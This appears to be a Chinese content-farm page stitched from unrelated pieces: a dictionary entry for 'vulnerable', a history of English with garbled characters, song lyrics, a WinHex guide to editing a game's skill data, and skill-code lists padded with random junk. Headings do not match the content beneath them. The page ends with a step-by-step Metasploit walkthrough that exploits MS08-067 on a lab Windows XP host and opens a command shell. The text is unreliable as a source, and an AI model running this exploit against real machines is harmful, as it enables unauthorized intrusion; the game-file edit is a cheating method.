vulnerable-0

vulnerable是什么意思

vulnerable，用作形容词译为“易受攻击的，易受…的攻击；易受伤害的；有弱点的”。

1、ADJ-GRADED  脆弱的;易受伤害的 Someone who is vulnerable is weak and without protection, with the result that they are easily hurt physically or emotionally.。

Old people are particularly vulnerable members of our society.老年人是社会中尤为明显的弱势群体。

2、ADJ-GRADED  易感染（某种疾病）的；易患病的 If a person, animal, or plant is vulnerable to a disease, they are more likely to get it than other people, animals, or plants.。

People with high blood pressure are especially vulnerable to diabetes...有高血压的人尤其易患糖尿病。

3、ADJ-GRADED  易受伤害的;易受影响的 Something that is vulnerable can be easily harmed or affected by something bad.。

Their tanks would be vulnerable to attack from the air...他们的坦克易受到空袭。

vulnerable-凡妮莎的歌词

vulnerable的意思：易受攻击的。

英文是西日耳曼语的一种语言，最早是在中世纪早期的英格兰使用的，该语言最终成为21世纪国际话语的主要语言。它以Angles的名字命名，Angles是古老的日耳曼人民之一，后来移居到大不列庆察颠地区，后来以他们的名字英格兰命名。

这两个名字都源于波罗的海半岛誉御茄的安格利亚（Anglia）。英语与弗里斯兰语和下撒克森语最相关，但其词汇已受到链基拆拦其他日耳曼棚仿谨语语言（尤其是北挪威语（北挪威语））以及拉丁语和法语的很大影响。英语已经发展了1400多年。

英语的最早形式是由盎格鲁-撒克逊移民于5世纪带到英国的一组西日耳曼语（Ingvaeonic）方言，被统称为古英语。中古英语始于11世纪末，诺曼征服英格兰; 在这个时期，英语受古法语的影响，尤其是通过古诺曼方言的影响。早期现代英语始于15世纪后期引进的的印刷机到伦敦，詹姆斯国王圣经的印刷和大元音转变的大庆开始。

自17世纪以来，现代英语在大英帝国和美国的广泛影响下在世界各地传播。通过这些国家的各种印刷和电子媒体，英语已成为许多地区和专业领域（例如科学，导航和法律）中国际话语和通用语言的主要语言。

现代英语语法是逐渐变化的结果，这种变化是从具有丰富的词尾形态和相对自由的词序的典型的印欧语相关标记模式转变为大部分 几乎没有变化的解析模式，相当固定的主语-动词-宾语词序和复杂的语法。现代英语更多地依赖于辅助动词和词序来表达复杂的时态，方面和语气，以及被动语态，疑问句和否定语。

挑战归来怎么改端

歌词送上，希望可以帮到你~

When I think about you and me。

I get a little weak in the knees。

I feel the flutter of a butterfly in。

Sometimes I can hardly breathe。

So baby... (Baby)。

Hold me now (Hold me, Hold me now)。

I can't tell if I am lost or found ('Cause。

I'm living in a dream and I don't want to。

wake up, wake up)。

And I don't know how to let you in (Don't know, Don't know)。

Or let you go, I'm so vulnerable。

Hold me now (Hold me)。

Please baby don't let me down ('Cause I'm living in a。

dream and I don't want to wake up)。

I know for sure that you're the cure。

(Coming down with a case of 'I love you。

more', I don't want to be vulnerable)。

When it comes to this book of us。

I think it's time now to turn the page。

And I don't want to say I love you first。

But my heart it can't hardly wait。

So baby... (Baby)。

Hold me now (Hold me, Hold me now)。

I can't tell if I am lost or found ('Cause。

I'm living in a dream and I don't want to。

wake up, wake up)。

And I don't know how to let you in (Don't know, Don't know)。

Or let you go, I'm so vulnerable。

Hold me now (Hold me)。

Please baby don't let me down ('Cause I'm living in a。

dream and I don't want to wake up)。

I know for sure that you're the cure。

(Coming down with a case of 'I love you。

more', I don't want to be vulnerable)。

I don't want to see you hurt。

Don't you worry baby girl。

Take my hand, understand I'm afraid。

To tell you the very worst that you want to hear me say (Wake up)。

When you say it here tonight。

Will you mean it for life。

Will you tell me everything that your。

heart is really feeling for me?。

So I, (So I) Won't be...。

(Vulnerable)

('Cause I'm living in a dream and I。

don't want to wake up, wake up)。

And I don't know how to let you in (Don't know, Don't know)。

Or let you go, I'm so vulnerable。

Hold me now (Hold me)。

Please baby don't let me go ('Cause I'm living in a。

dream and I don't want to wake up)。

I know for sure that you're the cure。

(Coming down with a case of 'I love you。

more', I don't want to be vulnerable)。

如何利用Microsfot-ds漏洞入侵？

是修改技能吧

要用的软件是 winhex 百度可以找见的。

下好后 首先打开winhex.exe 。

点击 文件-打开-选择 您电脑上挑战归来目录里"data"文件夹里的pack.d04文件。

打开后

按组合键CTRL+F 呼出查找文本框，输入index,XXX(XXX代表你要修改的技能编号) 。

在.“整字匹配”前面打上勾，搜索(E): 选择“全部” 然后点确定。

之后再按下F3 如果提示"index,xx未找到" 那就是我们要找的 没提示就再按一下直到提示"index,xx未找到" 然后就有下面的了。

Index,xxx,,,,,,,,,,,, 技能编号。

MaxLevel,10,,,,,,,,,,,, 技能最高等级 。

MaxStyleCode,4,,,,,,,,,,,, 未知 。

Name,颇捞绢 腔府 技能名称 。

Distance,14 技能使用距离(这里的14代表攻击距离调成25到35最合适)远程技能可用 。

改好了距离以后，我们按CTRL+F 。

输入 "LevelIndex" 搜索(E): 选择“向下” 来到技能等级详细设定 后面有很多的如下面的。

1,0,58,-,-,0,-,-,-,1,0,402,1,0,13000,1,3,0,274,0,0。

2,1,68,-,-,0,-,-,-,1,0,402,1,0,13500,11,13,0,320,0,0。

以英文逗号为分隔符号 如果你游戏里技能是1级的话只要把第一行倒数第5个也就是“3”改为121或161就可以了。

如果你游戏里技能是2级的话只要把第二行倒数第5个也就是“13”改为121或161就可以了。

后面一样 其他技能也是这样改的 技能几级就改第几行就 OK 改好后 点保存 就可以上游戏了 试下效果 以下是各职业技能代码。

----------------------------------------------------------------------------------------------- ~\^8 ^ 。

所有挑战职业技能代码！

[骑士] 0wcWDE 9 。

1 剑术掌握 K_1_1_SwordMastery.csv o7 seGw<$X 。

2 狂暴劈击 K_1_1_ShapenBlade.csv G#v7-&Yl6 。

3 剑术防御 K_1_1_SwordDefense.csv V:J6eks_ 。

4 突击 K_1_1_FatalLunge.csv t79MBgZ 。

5 钉头锤掌握 K_1_1_AirSmashing.csv u{,^#I} 。

101 格挡 K_2_2_Nimbleness.csv i=T/}c) 。

102 热情 K_2_2_WindRush.csv ENzeVtw0 。

103 连击 K_2_2_AttackAcceleration.csv VJaL$Wv)H 。

104 圣灵护体 K_2_2_Insensibility.csv th)jEK;Z 。

21 钉头锤掌握 K_1_2_MaceMastery.csv O.dNhd$ 。

22 破甲 K_1_2_ArmorBreaker.csv ^l,Jbt 。

23 猛击 K_1_2_MaceBash.csv ;Z*RCuwg 。

24 地震 K_1_2_HeavyBlow.csv 4$"Lf'sH6 。

25 落神锤 K_1_2_SolarEvil.csv S}/CzQ 。

121 致命重击 K_3_3_DualAdvance.csv ))N^)HR 。

122 剑气斩 K_3_3_SpoutAnger.csv Fk4 3sqU6~ 。

123 致命乱舞 K_3_3_FatalHash.csv ".u?-xcbJ 。

124 狂斩 K_3_3_Brandish.csv -1R~3j1_ 。

41 斧掌握 K_1_3_AxeMastery.csv TwN8|ibVmP 。

42 重砍 K_1_3_BleedSlash.csv ,Y!)V 。

43 断筋 K_1_3_AchillesTendon.csv e.T5F`Du 。

44 割腕 K_1_3_WristChop.csv ,y.0 Cb0 。

45 牙突 K_1_3_SonicMassacre.csv F8/@/B 。

141 盾牌掌握 K_3_1_ShieldMastery.csv u-Vnmig9 。

142 盾击 K_3_1_ShieldShove.csv f t7wMi 。

143 盾震 K_3_1_BlindJab.csv 5~ kf:U%~ 。

144 迅捷 K_3_3_PowerStrike.csv nRGH58 。

145 神圣护盾 K_3_1_BounceDefender.csv S8y4 p0mV 。

61 双手武器 K_1_4_DualMastery.csv "*0 szz' 。

62 双手攻击 K_1_4_CrossPiercing.csv WC4Il C 。

63 暴怒斩 K_1_4_CycloneSlash.csv @MM|.# ~T 。

64 虚空刃 K_1_4_EnergeticBlade.csv iqU}t2vFrj 。

65 六合斩 K_1_4_EigenDash.csv p)oW'#@a 。

161 重武器掌握 K_3_2_TwohandMastery.csv :J"e{|g', 。

162 迅击 K_3_2_TripleAttack.csv z TK 。

163 狂暴 K_3_2_Berserk.csv %:y-"m1\u$ 。

164 元气之力 K_3_2_Genocide.csv 2::T,Z 。

81 强韧 K_2_1_Toughness.csv nuQ"\ G 。

82 虔诚 K_2_1_HealthStrengthen.csv 4?&=H *H: 。

83 跳斩 K_2_1_JumpingCrash.csv Bj2rA.M 。

84 旋风斩 K_2_1_WhirlWind.csv \-B>']:R4 。

85 天神合一 K_2_1_SoulKnight.csv jzV#%O{` 。

86 蜂刺 K_2_1_DivideSphere.csv hImCy9i} 。

181 钓鱼掌握 K_Nac.csv J h"]iN 。

#:yZJS9f9

----------------------------------------------------------------------------------------------- ~\^8 ^ 。

[弓箭手] I@\{6hw 。

201 弓掌握 A_1_1_BowMastery.csv Ns $PS\ 。

202 弩掌握 A_1_1_CrossMastery.csv fx|9*|E 。

203 扫射箭 A_1_1_MultipleShot.csv p[wjHfIq 。

204 爆击箭 A_1_1_StrikeShot.csv ^J G }|v3$ 。

205 加力箭 A_1_1_SquallShot.csv >!2'|y^ 。

206 豪雨箭 A_1_1_TriangleShot.csv KYQ6U.%W 。

207 穿刺箭 A_1_1_PiercingShot.csv i!iODt3k 。

208 制导箭 A_1_1_GuideShot.csv e,BJD>N ? 。

209 寻隙箭 A_1_1_VulnerablePoint.csv M]'AA Uo8 。

210 感应箭 A_1_1_WonderFiring.csv IlrmXSr 。

211 诅咒箭 A_1_1_Crowwings.csv 7jPmI 。

212 闪击 A_1_1_WindShaft.csv $Yka\tS' 。

213 女神的气息 A_1_1_FioreNovas.csv _e'mG'P( 。

214 神力潜能 A_1_1_DemolitionBomb.csv D8ly8]H 。

221 精确掌握 A_1_2_Criticalfire.csv cG?266{g 。

241 火焰箭 A_1_3_FireArrow.csv Ie~~LU 。

242 冰冻箭 A_1_3_IceArrow.csv NSq"\A\ 。

243 剧毒箭 A_1_3_PoisonArrow.csv 2Kidbf 。

244 爆裂箭 A_1_3_ExplosionArrow.csv ,zFN3NLtA 。

245 蓄力箭 A_1_3_SlowArrow.csv sn( }5; 。

341 凌波微步 A_3_2_QuicknessMove.csv )sHPIxHI 。

342 突击箭 A_3_2_Speed.csv UwU]l 17~ 。

361 治疗术 A_3_3_FirstAid.csv ooQ(bF 。

362 生命结界 A_3_3_TerasMagic.csv H~Cfni; 。

281 肉搏掌握 A_2_1_CombatMastery.csv 9[D7N 。

282 猛刺 A_2_2_ViolentStab.csv 1*h7L<#|mQ 。

283 费傅绢琶 A_2_2_RollingAttack.csv K }BX6dA 。

284 死亡反击 A_2_2_SilentKiller.csv vEGK {rMA 。

285 地刃剑 A_2_2_DeadSpin.csv $P3nP=mf 。

381 钓鱼掌握 A_Nac.csv '9@R=#nd 。

03@| dN

----------------------------------------------------------------------------------------------- 98^6 {p 。

[魔法师] Ck?:8YlF 。

401 能量掌握 M_1_1_EnergyMastery.csv uszSFe]E 。

402 能量穿刺 M_1_1_EnergyJap.csv i&)C, 。

403 能量罩 M_1_4_SizNimbus.csv (}1f]$V 。

404 天授圣锤 M_1_1_EnergyHammer.csv ~e9INZe-j 。

405 能量穿透 M_1_1_EnergyBlot.csv ~79Qg{+]N 。

406 神性损伤 M_1_1_SpoilDivinity.csv y51D-vj 。

407 极暴圣泉 M_1_1_AquaShackle.csv c0q) 。

421 魔法能量 M_1_2_ManaCharge.csv NqE7[wH 。

422 能量摄取 M_1_2_UruzGain.csv iLcadX 。

501 冰冻掌握 M_3_1_IceMastery.csv h\*rv5\M 。

502 冰球术 M_3_2_IceBolt.csv IC.<)I 。

503 冰环术 M_3_2_IceWave.csv g*?+ ~0"`Y 。

504 冰冻穿刺 M_3_2_IceSpike.csv )-KE4/G 。

505 冰风暴 M_3_2_IceStorm.csv a& aPBv1 。

506 玄冰乱舞 M_3_2_IceBlanket.csv [=ak >>8 。

507 寒冬气息 M_3_2_FreezingSpirit.csv GL =XiBt 。

508 暴风冰暴 M_3_2_GlaciersEddy.csv "Xk%3\{P 。

441 魔力提升 M_1_3_ManaReinforcement.csv j /dE6d 。

541 电击掌握 M_4_1_LightingMastery.csv ]n]uN~)9 。

542 电击球 M_4_2_LightingBolt.csv ?V)C9@bp 。

543 电击锁链 M_4_2_ChainLighting.csv v7<S F 。

544 雷电风暴 M_4_2_LightingCircle.csv oz0n$`O$/ 。

545 雷霆一击 M_4_2_LightingChase.csv r5!x,{E6 。

546 雷电乱舞 M_4_2_CrueltyLightning.csv O`[iz/7m 。

547 天雷闪 M_4_2_ThunderSphere.csv nze1]3` 。

548 电极磁场 M_4_2_EmittedFlash.csv ]Z$TzT&@% 。

461 火焰掌握 M_2_1_FireMastery.csv +)JN Fy- 。

462 小火球术 M_2_2_FireBolt.csv <5ft6a2fQ 。

463 大火球术 M_2_2_FireBall.csv _/jUs_W 。

464 火焰风暴 M_2_2_FireFury.csv )+w/\~@ 。

465 烈焰柱 M_2_2_FfireBlaze.csv t(j_eq}J 。

466 真火乱舞 M_2_2_FlameBombing.csv T\2) $ 。

467 凤舞朝天 M_2_2_BurstPhoenix.csv > h,y\uV1 。

468 神迹火焰 M_2_2_InfernalPillar.csv CQBT:: 。

581 钓鱼掌握 M_Nac.csv o <D3Y95b 。

Mt[Bq6}ZD

---------------------------------------------------------------------------------------------- S_T {L 。

[驱魔师] HUU >hq9 。

601 召唤掌握 S_1_1_BeastMastery.csv rV8(ia 。

602 召唤杰格鲁斯 S_1_1_Regulus.csv ~:/%/-^ 。

603 召唤格鲁佩恩 S_1_1_Grupain.csv !y>lOw})Q 。

604 召唤炙炎天使 S_1_1_Selaim.csv wUru1_zjO 。

605 伊夫利特 S_1_1_Vulagon.csv 3E< aiGU 。

606 召唤阿加利斯 S_1_1_Agares.csv vQ:x% =] 。

621 死亡飞旋 S_1_2_Boomerang.csv /{fZH,!L 。

622 地狱雷陨 S_1_2_Meteor.csv :0M' =~[ 。

721 双手武器 S_4_1_TwinMastery.csv ~8jThi U 。

722 瘟疫波 S_4_1_EboltShot.csv !(W[!% 。

723 魔界巨剑 S_4_1_SpritDagger.csv 2yl6~(JC+ 。

724 暗影蝙蝠 S_4_1_BloodBats.csv - waX#U T= 。

725 疾风剑 S_4_1_DevilSwing.csv &[NVP&9&U 。

726 刀刃术 S_4_1_BladeSpin.csv i%xI9BO9 。

727 堕落掌握 S_4_1_ViciousMastery.csv !IO&&\5 。

728 魔界荆棘 S_4_1_ViciousThorn.csv !$D&6M|C8l 。

729 风刃剑 S_4_1_BladeDance.csv !-KCFMvT 。

730 召唤怨灵 S_4_1_SummonGhost.csv 5_v5 。

731 毒剑 S_4_1_PoisonSword.csv d?JAUbqy 。

732 毒雾爆发 S_4_1_InfectedEarth.csv +z+ F- 。

733 惊天剑 S_4_1_ViciousMirror.csv ] t*33 。

734 毒素连击 S_4_1_VenomLight.csv <sa #|Y$ 。

735 地狱召唤 S_4_1_HellBurst.csv 5xhM0 ( 。

736 守护 S_4_1_CrossHack.csv TS1pR"6l 。

737 毒魔结界 S_4_1_Palpus.csv gRHtgR)T3 。

738 黑暗化身 S_4_1_DarkAvatar.csv @]*[c})/ 。

739 暗影毒雾 S_4_1_IncreasePoison.csv wXz\NGW 。

740 复仇之影 S_4_1_ShadowVengeance.csv U4=]#=R~o 。

741 魔鬼皮肤 S_4_2_LowerBoundSkin.csv TM)u?t+[ 。

641 生命掌握 S_2_1_LibidoMastery.csv uN8/Q2 。

642 召唤狼蛛 S_2_1_Tarantula.csv P`tyBe#= 。

643 召唤奥德巴瑞 S_2_1_Aldebaran.csv *-6? 。

644 召唤泰坦 S_2_1_Tentator.csv +N7"EROc 。

645 伊鲁特 S_2_1_Anathema.csv Z0 aUHWms 。

646 召唤姆斯佩恩 S_2_1_Muspell.csv )J&|\m(e 。

661 剑刺连击 S_2_2_SwordBigor.csv S#mK Pi+3 。

662 恶魔波动 S_2_2_ForceWave.csv ##v`(#fu 。

781 钓鱼掌握 S_Nac.csv V3Yd&HVWNQ 。

(vnoP< 0

--------------------------------------------------------------------------------------------------- ctHEEFWm 。

[巫师] 57<Di!rt 。

801 复苏掌握 H_1_1_HealingMastery.csv Q ?^4\_ 。

802 疗伤术 H_1_1_WoundHealing.csv z0 \N{rP& 。

803 医疗术 H_1_1_FastHealing.csv W~yLl% 。

804 群疗术 H_1_1_Hyperheal.csv 7h`^N5H.q 。

805 圣光术 H_1_1_Recover.csv KUFz:&wK 。

806 神佑术 H_1_1_SelfHealing.csv #A )Ab%r8" 。

821 福至心灵 H_1_2_RaiseingGuard.csv Mg\TH./Y: 。

822 魔力盾牌 H_1_2_MagicShield.csv )~dOmfw%| 。

823 神威术 H_1_2_IncreaseAttack.csv ~b6GrY"vB 。

824 神咒术 H_1_2_DarkCircle.csv n"Z |e tZ4 。

921 血液掌握 H_3_1_BloodMastery.csv V{ |[oIp 。

922 血镰术 H_3_1_DeathScythe.csv qrE0H 。

923 骨矛术 H_3_1_EvilSpear.csv WFDCPQ@ 。

924 疯魔杖 H_3_1_BarrageHit.csv :tbd,Uo 。

821 福至心灵 H_1_2_RaiseingGuard.csv (w$'o*z;( 。

822 魔力盾牌 H_1_2_MagicShield.csv 3{RL \gh$" 。

823 神威术 H_1_2_IncreaseAttack.csv x0<^<D&Q 。

824 神咒术 H_1_2_DarkCircle.csv C:j]43` 。

841 祈祷之力 H_1_3_GrateGuard.csv J\A8qh8 。

842 神圣之光 H_1_3_DivineShield.csv H~Uq?!=b 。

843 战鼓之声 H_1_3_AmazingAttack.csv A[JM4x 。

926 恶灵攻击 H_3_1_RuinsSkull.csv L~&" aF/b 。

927 死亡交涉 H_3_1_Dreadnail.csv AC4 l<:Yh 。

928 邪恶指甲 H_3_1_Evilsclaw.csv jQ$BPEG&X 。

929 死亡血劫 H_3_1_SpiritEmission.csv GOVAb' 。

930 魔性洗礼 H_3_1_RisePierce.csv c;!9\1sr 。

861 诅咒掌握 H_2_1_CurseMastery.csv a.,_4;'UE1 。

862 逆血术 H_2_1_Backdraft.csv M[s\E4l:t 。

863 吸星术 H_2_1_Vampire.csv ?OsS`)T 。

864 蚀骨咒 H_2_1_Cursefield.csv g^j7@dum 。

881 定身术 H_2_2_Paralyze.csv W4vBf^eC 。

882 弱魔术 H_2_2_AntiMagic.csv #T"64%dX 。

883 虚弱术 H_2_2_DecreaseAttack.csv , N 344y 。

884 腐甲术 H_2_2_Diminish.csv N-QCfDao 。

981 钓鱼掌握 H_Nac.csv x'i0KF 。

&7Kb]Ti

----------------------------------------------------------------------------------------------- m6MaX}&zv 。

[狂战士] 5^2TfG9 。

1001 狂暴之击 B_1_1_WildBash.csv *"T+G*~ 。

1002 格斗掌握 B_1_1_MartialAtrsMastery.csv OjATSmZ@@ 。

1003 双击 B_1_1_DoubleSmash.csv MYx88y 。

1004 组合拳 B_1_1_HardBlow.csv f4 O]`U 。

1005 风暴之拳 B_1_1_ShockWave.csv ^A#x<J+ 。

1006 雷电之拳 B_1_1_TripleRavage.csv H:MUNc8i 。

1007 猛兽之拳 B_1_1_MadBarrage.csv w%2ziwgh 。

1008 霸者之拳 B_1_1_SpiritsShout.csv 2Fq=jOA)z$ 。

1009 爆裂之拳 B_1_1_Carnage.csv _yJ|`g]U3 。

1101 魂之净化 B_2_1_SpirtMastery.csv M:(&n@e 。

1102 魂之打击 B_2_1_ChainBurst.csv zzE]M}s 。

1103 魂之震撼 B_2_1_EarthQuake.csv 9 tAE#A 。

1104 魂之怒风 B_2_1_Violentgale.csv !mae^A1 。

1105 魂之暴虐 B_2_1_Outrage.csv cqjl5UB 。

1106 魂之旋风 B_2_1_Tornado.csv 5Kee2s?* 。

1107 烈电火焰 B_2_1_DeadSpark.csv =-m(\ } 。

1021 战斗精神 B_1_2_InstinctSpeed.csv T;J7+0 。

1022 战斗意志 B_1_2_InstinctPower.csv [\a:4vDAbi 。

1023 决死命令 B_1_2_BullsCry.csv (H P z 。

1024 极限切割 B_1_2_LimitPatience.csv ! . p 。

1121 魂之守护 B_2_2_Defensive.csv FN>L7 *,0 。

1122 魂之抵抗 B_2_2_MaigcalResist.csv ;*nh=w 。

1123 魂之坚固 B_2_2_PhysicalResist.csv *.:!Ax 。

1124 魂之蔑视 B_2_2_Resistance.csv ?P%|P 。

1141 魂之火焰 B_2_3_BurnKunkle.csv O/(3 87=U 。

1142 魂之霜恸 B_2_3_FreezingKunkle.csv z }iSq$ 。

1143 魂之电击 B_2_3_LightningKunkle.csv >B`Cch/ 'U 。

1181 钓鱼 B_Nac.csv。

climate-vulnerable什么意思

被攻击者IP地址：192.168.9.4，操作系统Windows XP sp3 English。

攻击者IP地址：192.168.9.1。

//查看数据库连接状态

msf > db_status。

[*] postgresql connected to msf3。

//使用nmap扫描目标机器

msf > db_nmap -sS -sV -O --script=smb-check-vulns.nse -n 192.168.9.4。

[*] Nmap: Starting Nmap 5.61TEST4 ( http://nmap.org ) at 2012-09-25 11:01。

[*] Nmap: Nmap scan report for 192.168.9.4。

[*] Nmap: Host is up (0.00s latency).。

[*] Nmap: Not shown: 997 closed ports。

[*] Nmap: PORT STATE SERVICE VERSION。

[*] Nmap: 135/tcp open msrpc Microsoft Windows RPC。

[*] Nmap: 139/tcp open netbios-ssn。

[*] Nmap: 445/tcp open microsoft-ds Microsoft Windows XP microsoft-ds。

[*] Nmap: MAC Address: 00:0C:29:43:D6:5F (VMware)。

[*] Nmap: Device type: general purpose。

[*] Nmap: Running: Microsoft Windows XP|2003。

[*] Nmap: OS CPE: cpe:/o:microsoft:windows_xp cpe:/o:microsoft:windows_server_2003。

[*] Nmap: OS details: Microsoft Windows XP SP2 or SP3, or Windows Server 2003。

[*] Nmap: Network Distance: 1 hop。

[*] Nmap: Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows。

[*] Nmap: Host script results:。

[*] Nmap: | smb-check-vulns:。

[*] Nmap: | MS08-067: VULNERABLE。

[*] Nmap: | Conficker: Likely CLEAN。

[*] Nmap: | regsvc DoS: CHECK DISABLED (add '--script-args=unsafe=1' to run)。

[*] Nmap: | SMBv2 DoS (CVE-2009-3103): CHECK DISABLED (add '--script-args=unsafe=1' to run)。

[*] Nmap: | MS06-025: CHECK DISABLED (remove 'safe=1' argument to run)。

[*] Nmap: |_ MS07-029: CHECK DISABLED (remove 'safe=1' argument to run)。

[*] Nmap: OS and Service detection performed. Please report any incorrect results athttp://nmap.org/submit/ .。

[*] Nmap: Nmap done: 1 IP address (1 host up) scanned in 10.28 seconds。

//查找ms08_067漏洞

msf > search ms08_067。

Matching Modules。

================。

Name Disclosure Date Rank Description。

---- --------------- ---- -----------。

exploit/windows/smb/ms08_067_netapi 2008-10-28 00:00:00 UTC great Microsoft Server Service Relative Path Stack Corruption。

//使用MS08_067漏洞

msf > use exploit/windows/smb/ms08_067_netapi。

//设置远程地址，正向连接

msf exploit(ms08_067_netapi) > set RHOST 192.168.9.4。

RHOST => 192.168.9.4。

//设置ShellCode

msf exploit(ms08_067_netapi) > set payload windows/shell_bind_tcp。

payload => windows/shell_bind_tcp。

//显示配置的选项

msf exploit(ms08_067_netapi) > show options。

Module options (exploit/windows/smb/ms08_067_netapi):。

Name Current Setting Required Description。

---- --------------- -------- -----------。

RHOST 192.168.9.4 yes The target address。

RPORT 445 yes Set the SMB service port。

SMBPIPE BROWSER yes The pipe name to use (BROWSER, SRVSVC)。

Payload options (windows/shell_bind_tcp):。

Name Current Setting Required Description。

---- --------------- -------- -----------。

EXITFUNC thread yes Exit technique: seh, thread, process, none。

LPORT 4444 yes The listen port。

RHOST 192.168.9.4 no The target address。

Exploit target:。

Id Name

-- ----

0 Automatic Targeting。

//expliot

msf exploit(ms08_067_netapi) > exploit。

[*] Started bind handler。

[*] Automatically detecting the target...。

[*] Fingerprint: Windows XP - Service Pack 3 - lang:English。

[*] Selected Target: Windows XP SP3 English (AlwaysOn NX)。

[*] Attempting to trigger the vulnerability...。

[*] Command shell session 1 opened (192.168.9.1:1126 -> 192.168.9.4:4444) at 2012-09-25 11:04:31 +0800。

成功返回Shell

Microsoft Windows XP [Version 5.1.2600]。

(C) Copyright 1985-2001 Microsoft Corp.。

C:\WINDOWS\system32>net user。

net user

User accounts for \\。

-------------------------------------------------------------------------------。

Administrator Guest hacker。

HelpAssistant SUPPORT_388945a0。

The command completed with one or more errors.。

------------------------------------------------------------------------------------------------------------------------。

如果想漏洞支持什么操作系统，可以输入info命令，就能看到关于漏洞的详细信息。

原文地址：http://www.qianchusai.com/vulnerable-0.html